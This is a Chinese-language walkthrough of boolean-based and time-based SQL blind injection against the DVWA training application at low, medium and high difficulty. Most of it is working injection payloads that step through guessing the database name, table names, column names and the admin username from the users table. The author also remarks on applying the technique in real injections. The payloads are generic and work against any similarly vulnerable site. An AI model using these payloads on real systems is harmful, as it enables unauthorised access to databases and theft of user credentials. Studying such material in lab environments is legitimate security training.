目录
sql盲注和sql注入的区别
盲注:目标只会回复是或不是,没有详细内容
注入:可以查看到详细内容
盲注分为:布尔盲注、时间盲注
sql盲注过程
1、判断是否存在注入,注入是字符型还是数字型
2、猜解当前数据库名(猜解数据库长度->猜数据库名称)
3、猜解数据库中的表名(猜表的数量->猜表的长度->猜表的名称)
4、猜解表中的列(猜列的数量->猜列的长度->猜列的名称)
5、猜解数据
dvwa-SQL Injection (Blind) low级别
下面分别用布尔盲注、时间盲注进行注入
布尔盲注
猜数据库长度:
输入1’ and length(database())=1# 显示 MISSING 说明数据库长度不为1
输入1’ and length(database())=4# 显示 exists 说明数据库长度为4
猜数据库名:
输入1’ and ascii(substr(database(),1,1))>97# 显示 exists 说明数据库的第一个字母的ASCII值>97
ascii()函数是将字母转换为ASCII值
附加:放一张substr()函数的解释
可以用二分法去猜ASCII值
输入1’ and ascii(substr(database(),1,1))>100#显示MISSING说明第一个字母的ASCII不大于100
输入1’ and ascii(substr(database(),1,1))<100#也显示MISSING说明第一个字母的ASCII也不小于100,那就是等于100
输入1’ and ascii(substr(database(),1,1))=100#,显示exists,说明第一个字母就是 d
盲注全靠猜,后三个字母可以自己尝试去猜,步骤如上
最后猜到数据库名为dvwa
猜表的数量:
输入1’and (select count(table_name)from information_schema.tables where table_schema=‘dvwa’)=2#,显示exists,说明dvwa库中有2个表
count()函数用于计数
以下我只基于dvwa环境输入正确的数值,在真实注入时一定要去猜!!!
猜表的长度:
输入1’ and length(substr((select table_name from
information_schema.tables where table_schema=‘dvwa’
limit 0,1),1))=9#,显示exists说明第一个表的长度为9
输入1’ and length(substr((select table_name from
information_schema.tables where table_schema=‘dvwa’
limit 1,1),1))=5#,显示exists说明第二个表的长度为5
limit 用于限制查询结果返回的数量
猜表名:
输入1’ and ascii(substr((select table_name from
information_schema.tables where table_schema=‘dvwa’
limit 0,1),1))=103#,显示exists说明第一个字母为g
最后分别猜出第一表名为guestbook,第二个表名为users
注入的目的就是拿到用户名和密码,所以我只去猜users表中的数据
猜表中列的数量:
输入1’ and (select count(column_name) from
information_schema.columns where table_name=‘users’)=15#
去数据库中查了一下,确实是15.
猜列的长度:
输入1’ and length(substr((select column_name from
information_schema.columns where table_name=‘users’
limit 0,1),1))=7#,显示exists,说明第一个列的长度为7
第一个列的长度为7,真实注入时,需要一个一个去猜,基于dvwa,目的是user、password列,所以下面只猜user、password列,它两分别处于第4列和第5列
猜列名:
输入1’ and ascii(substr((select column_name from
information_schema.columns where table_name=‘users’
limit 3,1),1))=117#,显示exists,说明第四列的第一个字母为u
第二个字母:
1’ and ascii(substr((select column_name from
information_schema.columns where table_name=‘users’
limit 3,1),1))=115#
后面以此类推。
猜解数据:
输入1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97#,显示exists说明第一个字母为a
第二个字母:d
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100#
依次猜出users表中user列的数据为admin
密码在password列中,可自己去尝试注入。
时间盲注
输入1’ and sleep(5)#,有延迟,说明是字符型
猜数据库长度:
输入1’ and if(length(database())=4,sleep(5),1)#,有延迟说明数据库长度为4
猜数据库名:
输入1’ and if(ascii(substr(database(),1,1))=100,sleep(5),1)#,有延迟说明第一个字母为d //dvwa
猜表的数量:
输入1’ and if((select count(table_name)from information_schema.tables where table_schema=‘dvwa’)=2,sleep(5),1)#,有延迟,说明有2个表
猜表的长度:
输入1’ and if(length(substr((select table_name from
information_schema.tables where table_schema=‘dvwa’
limit 0,1),1))=9,sleep(5),1)#,第一个表长度为9
猜表名:
输入1’ and if(ascii(substr((select table_name from
information_schema.tables where table_schema=‘dvwa’
limit 0,1),1))=103,sleep(5),1)#,延迟说明第一个字母为g
//guestbook users
步骤如上,就不再赘述。
猜表中列的数量:
输入1’ and if((select count(column_name)from
information_schema.columns where table_name=‘users’)=15,sleep(5),1)#
延迟//users有15列
猜列的长度:
输入1’ and if(length(substr((select column_name from
information_schema.columns where table_name=‘users’
limit 0,1),1))=7,sleep(5),1)# //有延迟,第一列长度为7
猜解列名:
输入1’ and if(ascii(substr((select column_name from
information_schema.columns where table_name=‘users’
limit 3,1),1))=117,sleep(5),1)# //有延迟,第四个表第一个字母u
依此类推,不再赘述。
猜解数据:
输入1’ and if(ascii(substr((select user from users
limit 0,1),1,1))=97,sleep(5),1)# //有延迟,说明第一个字母为a
//admin
依此类推,不再赘述。
dvwa-SQL Injection (Blind) Medium级别
查看源码
Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,没有输入框,所以利用burp进行抓包,修改参数。
修改id的参数–1 and length(database())=4,点击go之后,在回包可以看到exists,说明数据库长度为4。
以后步骤参照low级别,只修改id后的参数即可。
dvwa-SQL Injection (Blind) High级别
查看源码
SQL查询语句中添加了LIMIT 1,控制只输入一个结果,我们可以通过#将其注释掉
猜数据库长度:
以后步骤参照low级别。